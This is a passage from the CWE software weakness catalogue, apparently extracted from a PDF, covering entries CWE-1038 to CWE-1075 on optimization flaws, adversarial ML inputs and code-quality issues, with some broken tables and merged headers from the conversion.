| Integrity | Bypass Protection Mechanism | High |
| A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be inaccessible. | | |

Detection Methods

White Box

In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.

Effectiveness = Opportunistic

Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2017-5715 | Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5715 |
| CVE-2017-5753 | Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5753 |
| CVE-2017-5754 | Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754 |

CWE-1038: Insecure Automated Optimizations

| | |
|----------------------------|-----------------------|
| Weakness ID : 1038 | Status : Draft |
| Structure : Simple | |
| Abstraction : Class | |

Description

The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 758 | Reliance on Undefined, Unspecified, or Implementation-Defined Behavior | 1433 |

| Nature | Type | ID | Name | Page |

| ChildOf | P | 435 | Improper Interaction Between Multiple Correctly-Behaving Entities | 970 |
| ParentOf | B | 733 | Compiler Optimization Removal or Modification of Security-critical Code | 1415 |
| ParentOf | B | 1037 | Processor Optimization Removal or Modification of Security-critical Code | 1692 |

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------|--|------------|
| Integrity | Alter Execution Logic <i>The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.</i> | |

CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations

Weakness ID : 1039

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.

Extended Description

When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can introduce a vulnerability that allows attackers to cause the product to make the wrong security decision. If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.

Targeted technologies include, but are not necessarily limited to:

- automated speech recognition
- automated image recognition

For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/markings and performing a dangerous action.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | [P] | 697 | Incorrect Comparison | 1389 |
| ChildOf | [P] | 693 | Protection Mechanism Failure | 1384 |

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Bypass Protection Mechanism <i>When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.</i> | |

Notes

Relationship

Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created. For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).

CWE-1041: Use of Redundant Code

| | |
|---------------------------|----------------------------|
| Weakness ID : 1041 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software has multiple functions, methods, procedures, macros, etc. that contain the same code.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 710 | Improper Adherence to Coding Standards | 1405 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------------|------|
| MemberOf |  | 1006 | Bad Coding Practices | 2138 |

Weakness Ordinalities

Indirect :

Common Consequences

| Scope | Impact | Likelihood |
|-------|------------------------|------------|
| Other | Reduce Maintainability | |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |

CWE-1042: Static Member Data Element outside of a Singleton Class Element

Weakness ID : 1042

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|-----------------------------|------|
| ChildOf |  | 1176 | Inefficient CPU Computation | 1778 |

Weakness Ordinalities

Indirect :

Common Consequences

| Scope | Impact | Likelihood |
|-------|--------------------|------------|
| Other | Reduce Performance | |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

| | |
|---------------------------|---------------------------|
| Weakness ID : 1043 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|---|------|
| ChildOf |  | 1093 | Excessively Complex Data Representation | 1746 |

CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

| | |
|--------------------|--------------------|
| Weakness ID : 1044 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software's architecture contains too many - or too few - horizontal layers.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|

CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

Weakness ID : 1045

Status: Incomplete

Structure : Simple

Abstraction : Variant**Description**

A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

Extended Description

This issue can prevent the software from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1046: Creation of Immutable Text Using String Concatenation

Weakness ID : 1046

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software creates an immutable text string using string concatenation operations.

Extended Description

When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1047: Modules with Circular Dependencies**Weakness ID** : 1047**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

The software contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

Extended Description

As an example, with Java, this weakness might indicate cycles between packages.

This issue makes it more difficult to maintain the software due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1048: Invokable Control Element with Large Number of Outward Calls

| | |
|---------------------------|---------------------------|
| Weakness ID : 1048 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.

Extended Description

While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1049: Excessive Data Query Operations in a Large Data Table

Weakness ID : 1049

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software performs a data query with a large number of joins and sub-queries on a large data table.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "large number of joins or sub-queries" may vary for each product or developer, CISQ recommends a default of 1 million rows for a "large" data table, a default minimum of 5 joins, and a default minimum of 3 sub-queries.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1050: Excessive Platform Resource Consumption within a Loop

| | |
|---------------------------|---------------------------|
| Weakness ID : 1050 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

Extended Description

This issue can make the software perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data

| | |
|---------------------------|---------------------------|
| Weakness ID : 1051 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software initializes data using hard-coded values that act as network resource identifiers.

Extended Description

This issue can prevent the software from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

| | |
|---------------------------|---------------------------|
| Weakness ID : 1052 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software initializes a data element using a hard-coded literal that is not a simple integer or static constant element.

Extended Description

This issue makes it more difficult to modify or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-1053: Missing Documentation for Design

| | |
|---------------------------|---------------------------|
| Weakness ID : 1053 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product does not have documentation that represents how it is designed.

Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer

Weakness ID : 1054

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1055: Multiple Inheritance from Concrete Classes

Weakness ID : 1055

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software contains a class with inheritance from more than one concrete class.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1056: Invokable Control Element with Variadic Parameters

| | |
|---------------------------|---------------------------|
| Weakness ID : 1056 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1057: Data Access Operations Outside of Expected Data Manager Component

| | |
|---------------------------|---------------------------|
| Weakness ID : 1057 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.

Extended Description

This issue can make the software perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element

| | |
|---------------------------|---------------------------|
| Weakness ID : 1058 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1059: Incomplete Documentation

| | |
|----------------------------|---------------------------|
| Weakness ID : 1059 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The documentation, whether on paper or in electronic form, does not contain descriptions of all the relevant elements of the product, such as its usage, structure, interfaces, design, implementation, configuration, operation, etc.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

Weakness ID : 1060

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software performs too many data queries without using efficient data processing functionality such as stored procedures.

Extended Description

This issue can make the software perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1061: Insufficient Encapsulation

Weakness ID : 1061
Structure : Simple
Abstraction : Class

Status: Incomplete

Description

The software does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1062: Parent Class with References to Child Class

Weakness ID : 1062
Structure : Simple
Abstraction : Base

Status: Incomplete

Description

The code has a parent class that contains references to a child class, its methods, or its members.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1063: Creation of Class Instance within a Static Code Block

| | |
|---------------------------|----------------------------|
| Weakness ID : 1063 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A static code block creates an instance of a class.

Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the software perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters

| | |
|--------------------|--------------------|
| Weakness ID : 1064 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers

| | |
|---------------------------|---------------------------|
| Weakness ID : 1065 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The application uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1066: Missing Serialization Control Element

Weakness ID : 1066

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software contains a serializable data element that does not have an associated serialization method.

Extended Description

This issue can prevent the software from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable `SerializableAttribute` attribute in .NET and the inheritance from the `java.io.Serializable` interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

CWE-1067: Excessive Execution of Sequential Searches of Data Resource

Weakness ID : 1067

Status: Incomplete

Structure : Simple
Abstraction : Base

Description

The software contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1068: Inconsistency Between Implementation and Documented Design

Weakness ID : 1068
Structure : Simple

Status: Incomplete

Abstraction : Base**Description**

The implementation of the product is not consistent with the design as described within the relevant documentation.

Extended Description

This issue makes it more difficult to maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1069: Empty Exception Block**Weakness ID** : 1069**Status**: Incomplete**Structure** : Simple**Abstraction** : Base**Description**

An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.

Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1070: Serializable Data Element Containing non-Serializable Item Elements

| | |
|---------------------------|---------------------------|
| Weakness ID : 1070 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1071: Empty Code Block

| | |
|---------------------------|----------------------------|
| Weakness ID : 1071 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The source code contains a block that does not contain any code, i.e., the block is empty.

Extended Description

Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc. While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc. For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1072: Data Resource Access without Use of Connection Pooling

Weakness ID : 1072

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software accesses a data resource through a database without using a connection pooling capability.

Extended Description

This issue can make the software perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses

| | |
|---------------------------|----------------------------|
| Weakness ID : 1073 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1074: Class with Excessively Deep Inheritance

| | |
|---------------------------|---------------------------|
| Weakness ID : 1074 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

A class has an inheritance level that is too high, i.e., it has a large number of parent classes.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1075: Unconditional Control Flow Transfer outside of Switch Block

| | |
|---------------------------|----------------------------|
| Weakness ID : 1075 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

